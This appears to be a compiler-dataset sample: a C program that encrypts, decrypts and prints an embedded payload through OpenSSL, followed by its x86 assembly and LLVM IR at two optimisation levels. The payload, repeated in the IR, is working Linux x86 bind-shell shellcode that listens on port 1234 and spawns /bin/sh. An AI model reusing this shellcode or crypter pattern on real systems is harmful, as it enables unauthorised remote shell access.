#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ BIO_dump_fp(int /*<<< orphan*/, unsigned char *, int);
int /*<<< orphan*/ ERR_free_strings();
int /*<<< orphan*/ ERR_load_crypto_strings();
int /*<<< orphan*/ EVP_cleanup();
int /*<<< orphan*/ OPENSSL_config(int /*<<< orphan*/ *);
int /*<<< orphan*/ OpenSSL_add_all_algorithms();
int decrypt(unsigned char *, int, unsigned char *, unsigned char *,
            unsigned char *);
int encrypt(unsigned char *, int /*<<< orphan*/, unsigned char *,
            unsigned char *, unsigned char *);
int /*<<< orphan*/ print_shellcode(unsigned char *);
int /*<<< orphan*/ printf(char *);
int /*<<< orphan*/ stdout;
scalar_t__ strcmp(unsigned char *, unsigned char *);
int /*<<< orphan*/ strlen(unsigned char *);
int main(int argc, char *argv[]) {
  unsigned char *key = "424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbe"
                       "b47be5f7d424b1e9083e83b822ac7dbeb4";
  unsigned char *iv = "01123481321345514";
  unsigned char *plaintext = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56"
                             "\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97"
                             "\x93\xb0\x66\x56\x66\x68\x04\xd2\x66"
                             "\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1"
                             "\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89"
                             "\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57"
                             "\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93"
                             "\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b"
                             "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                             "\x6e\x89\xe3\x41\x89\xca\xcd\x80";
  unsigned char ciphertext[712];
  unsigned char decrypted_text[712];
  int decrypted_len, encrypted_len;
  ERR_load_crypto_strings();
  OpenSSL_add_all_algorithms();
  OPENSSL_config(NULL);
  encrypted_len = encrypt(plaintext, strlen(plaintext), key, iv, ciphertext);
  printf("Ciphertext is:\n");
  BIO_dump_fp(stdout, ciphertext, encrypted_len);
  printf("\n");
  decrypted_len = decrypt(ciphertext, encrypted_len, key, iv, decrypted_text);
  decrypted_text[decrypted_len] = '\0';
  printf("Decrypted text is:\n");
  print_shellcode(decrypted_text);
  if (strcmp(plaintext, decrypted_text) != 0) {
    printf("The decrypted shellcode does not match the plaintext.\n\n");
  } else {
    printf("The decrypted shellcode matches the plaintext.\n\n");
  }
  EVP_cleanup();
  ERR_free_strings();
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x5d0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
lea    0xe20(%rip),%rax
mov    %rax,-0x18(%rbp)
lea    0xe6f(%rip),%rax
mov    %rax,-0x20(%rbp)
lea    0xe76(%rip),%rax
mov    %rax,-0x28(%rbp)
mov    $0x0,%al
call   10e0 <ERR_load_crypto_strings@plt>
mov    $0x0,%al
call   10a0 <OpenSSL_add_all_algorithms@plt>
xor    %eax,%eax
mov    %eax,%edi
call   1040 <OPENSSL_config@plt>
mov    -0x28(%rbp),%rax
mov    %rax,-0x5d0(%rbp)
mov    -0x28(%rbp),%rdi
call   1050 <strlen@plt>
mov    -0x5d0(%rbp),%rdi
mov    %eax,%esi
mov    -0x18(%rbp),%rdx
mov    -0x20(%rbp),%rcx
lea    -0x2f0(%rbp),%r8
call   1070 <encrypt@plt>
mov    %eax,-0x5c8(%rbp)
lea    0xe77(%rip),%rdi
call   1060 <printf@plt>
mov    0x2d85(%rip),%rax
mov    (%rax),%edi
lea    -0x2f0(%rbp),%rsi
mov    -0x5c8(%rbp),%edx
call   10d0 <BIO_dump_fp@plt>
lea    0xeaa(%rip),%rdi
call   1060 <printf@plt>
lea    -0x2f0(%rbp),%rdi
mov    -0x5c8(%rbp),%esi
mov    -0x18(%rbp),%rdx
mov    -0x20(%rbp),%rcx
lea    -0x5c0(%rbp),%r8
call   1030 <decrypt@plt>
mov    %eax,-0x5c4(%rbp)
movslq -0x5c4(%rbp),%rax
movb   $0x0,-0x5c0(%rbp,%rax,1)
lea    0xe1e(%rip),%rdi
call   1060 <printf@plt>
lea    -0x5c0(%rbp),%rdi
call   1080 <print_shellcode@plt>
mov    -0x28(%rbp),%rdi
lea    -0x5c0(%rbp),%rsi
call   1090 <strcmp@plt>
cmp    $0x0,%rax
je     12f4 <main+0x134>
lea    0xe00(%rip),%rdi
call   1060 <printf@plt>
jmp    1300 <main+0x140>
lea    0xe27(%rip),%rdi
call   1060 <printf@plt>
mov    $0x0,%al
call   10b0 <EVP_cleanup@plt>
mov    $0x0,%al
call   10c0 <ERR_free_strings@plt>
xor    %eax,%eax
add    $0x5d0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x598,%rsp
xor    %eax,%eax
call   10f0 <ERR_load_crypto_strings@plt>
xor    %eax,%eax
call   10b0 <OpenSSL_add_all_algorithms@plt>
xor    %edi,%edi
call   1050 <OPENSSL_config@plt>
lea    0xe6f(%rip),%r14
mov    %r14,%rdi
call   1070 <strlen@plt>
lea    0xdf4(%rip),%r12
lea    0xe47(%rip),%r15
lea    0x2d0(%rsp),%r13
mov    %r14,%rdi
mov    %eax,%esi
mov    %r12,%rdx
mov    %r15,%rcx
mov    %r13,%r8
call   1080 <encrypt@plt>
mov    %eax,%ebp
lea    0xe8f(%rip),%rdi
call   1060 <puts@plt>
mov    0x2d9d(%rip),%rax
mov    (%rax),%edi
mov    %r13,%rsi
mov    %ebp,%edx
call   10e0 <BIO_dump_fp@plt>
mov    $0xa,%edi
call   1040 <putchar@plt>
mov    %rsp,%rbx
mov    %r13,%rdi
mov    %ebp,%esi
mov    %r12,%rdx
mov    %r15,%rcx
mov    %rbx,%r8
call   1030 <decrypt@plt>
cltq
movb   $0x0,(%rsp,%rax,1)
lea    0xe59(%rip),%rdi
call   1060 <puts@plt>
mov    %rbx,%rdi
call   1090 <print_shellcode@plt>
mov    %r14,%rdi
mov    %rbx,%rsi
call   10a0 <strcmp@plt>
test   %rax,%rax
lea    0xe4a(%rip),%rax
lea    0xe73(%rip),%rdi
cmove  %rax,%rdi
call   1060 <puts@plt>
xor    %eax,%eax
call   10c0 <EVP_cleanup@plt>
xor    %eax,%eax
call   10d0 <ERR_free_strings@plt>
xor    %eax,%eax
add    $0x598,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [90 x i8] c"424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb4\00"
@.str.1 = [18 x i8] c"01123481321345514\00"
@.str.2 = [90 x i8] c"jfXj\01[1\F6VSj\02\89\E1\CD\80_\97\93\B0fVfh\04\D2fS\89\E1j\10QW\89\E1\CD\80\B0f\B3\04VW\89\E1\CD\80\B0fCVVW\89\E1\CD\80YY\B1\02\93\B0?\CD\80Iy\F9\B0\0Bh//shh/bin\89\E3A\89\CA\CD\80\00"
@.str.3 = [16 x i8] c"Ciphertext is:\0A\00"
@stdout = global i32 0
@.str.4 = [2 x i8] c"\0A\00"
@.str.5 = [20 x i8] c"Decrypted text is:\0A\00"
@.str.6 = [56 x i8] c"The decrypted shellcode does not match the plaintext.\0A\0A\00"
@.str.7 = [49 x i8] c"The decrypted shellcode matches the plaintext.\0A\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i8*
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca [712 x i8]
%10 = alloca [712 x i8]
%11 = alloca i32
%12 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str, i64 0, i64 0), i8** %6
store i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8** %7
store i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.2, i64 0, i64 0), i8** %8
%13 = call i32 (...) @ERR_load_crypto_strings()
%14 = call i32 (...) @OpenSSL_add_all_algorithms()
%15 = call i32 @OPENSSL_config(i32* null)
%16 = load i8*, i8** %8
%17 = load i8*, i8** %8
%18 = call i32 @strlen(i8* %17)
%19 = load i8*, i8** %6
%20 = load i8*, i8** %7
%21 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 0
%22 = call i32 @encrypt(i8* %16, i32 %18, i8* %19, i8* %20, i8* %21)
store i32 %22, i32* %12
%23 = call i32 @printf(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.3, i64 0, i64 0))
%24 = load i32, i32* @stdout
%25 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 0
%26 = load i32, i32* %12
%27 = call i32 @BIO_dump_fp(i32 %24, i8* %25, i32 %26)
%28 = call i32 @printf(i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.4, i64 0, i64 0))
%29 = getelementptr inbounds [712 x i8], [712 x i8]* %9, i64 0, i64 0
%30 = load i32, i32* %12
%31 = load i8*, i8** %6
%32 = load i8*, i8** %7
%33 = getelementptr inbounds [712 x i8], [712 x i8]* %10, i64 0, i64 0
%34 = call i32 @decrypt(i8* %29, i32 %30, i8* %31, i8* %32, i8* %33)
store i32 %34, i32* %11
%35 = load i32, i32* %11
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds [712 x i8], [712 x i8]* %10, i64 0, i64 %36
store i8 0, i8* %37
%38 = call i32 @printf(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str.5, i64 0, i64 0))
%39 = getelementptr inbounds [712 x i8], [712 x i8]* %10, i64 0, i64 0
%40 = call i32 @print_shellcode(i8* %39)
%41 = load i8*, i8** %8
%42 = getelementptr inbounds [712 x i8], [712 x i8]* %10, i64 0, i64 0
%43 = call i64 @strcmp(i8* %41, i8* %42)
%44 = icmp ne i64 %43, 0
br i1 %44, label %45, label %47
45: ; preds = %2
%46 = call i32 @printf(i8* getelementptr inbounds ([56 x i8], [56 x i8]* @.str.6, i64 0, i64 0))
br label %49
47: ; preds = %2
%48 = call i32 @printf(i8* getelementptr inbounds ([49 x i8], [49 x i8]* @.str.7, i64 0, i64 0))
br label %49
49: ; preds = %47, %45
%50 = call i32 (...) @EVP_cleanup()
%51 = call i32 (...) @ERR_free_strings()
ret i32 0
}

LLVM IR (-O2):
@.str = [90 x i8] c"424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb47be5f7d424b1e9083e83b822ac7dbeb4\00"
@.str.1 = [18 x i8] c"01123481321345514\00"
@.str.2 = [90 x i8] c"jfXj\01[1\F6VSj\02\89\E1\CD\80_\97\93\B0fVfh\04\D2fS\89\E1j\10QW\89\E1\CD\80\B0f\B3\04VW\89\E1\CD\80\B0fCVVW\89\E1\CD\80YY\B1\02\93\B0?\CD\80Iy\F9\B0\0Bh//shh/bin\89\E3A\89\CA\CD\80\00"
@stdout = global i32 0
@str = [15 x i8] c"Ciphertext is:\00"
@str.8 = [19 x i8] c"Decrypted text is:\00"
@str.9 = [48 x i8] c"The decrypted shellcode matches the plaintext.\0A\00"
@str.10 = [55 x i8] c"The decrypted shellcode does not match the plaintext.\0A\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca [712 x i8]
%4 = alloca [712 x i8]
%5 = getelementptr inbounds [712 x i8], [712 x i8]* %3, i64 0, i64 0
%6 = getelementptr inbounds [712 x i8], [712 x i8]* %4, i64 0, i64 0
%7 = tail call i32 (...) @ERR_load_crypto_strings()
%8 = tail call i32 (...) @OpenSSL_add_all_algorithms()
%9 = tail call i32 @OPENSSL_config(i32* null)
%10 = tail call i32 @strlen(i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.2, i64 0, i64 0))
%11 = call i32 @encrypt(i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.2, i64 0, i64 0), i32 %10, i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8* %5)
%12 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @str, i64 0, i64 0))
%13 = load i32, i32* @stdout
%14 = call i32 @BIO_dump_fp(i32 %13, i8* %5, i32 %11)
%15 = call i32 @putchar(i32 10)
%16 = call i32 @decrypt(i8* %5, i32 %11, i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str, i64 0, i64 0), i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str.1, i64 0, i64 0), i8* %6)
%17 = sext i32 %16 to i64
%18 = getelementptr inbounds [712 x i8], [712 x i8]* %4, i64 0, i64 %17
store i8 0, i8* %18
%19 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([19 x i8], [19 x i8]* @str.8, i64 0, i64 0))
%20 = call i32 @print_shellcode(i8* %6)
%21 = call i64 @strcmp(i8* getelementptr inbounds ([90 x i8], [90 x i8]* @.str.2, i64 0, i64 0), i8* %6)
%22 = icmp eq i64 %21, 0
%23 = select i1 %22, i8* getelementptr inbounds ([48 x i8], [48 x i8]* @str.9, i64 0, i64 0), i8* getelementptr inbounds ([55 x i8], [55 x i8]* @str.10, i64 0, i64 0)
%24 = call i32 @puts(i8* dereferenceable(1) %23)
%25 = call i32 (...) @EVP_cleanup()
%26 = call i32 (...) @ERR_free_strings()
ret i32 0
}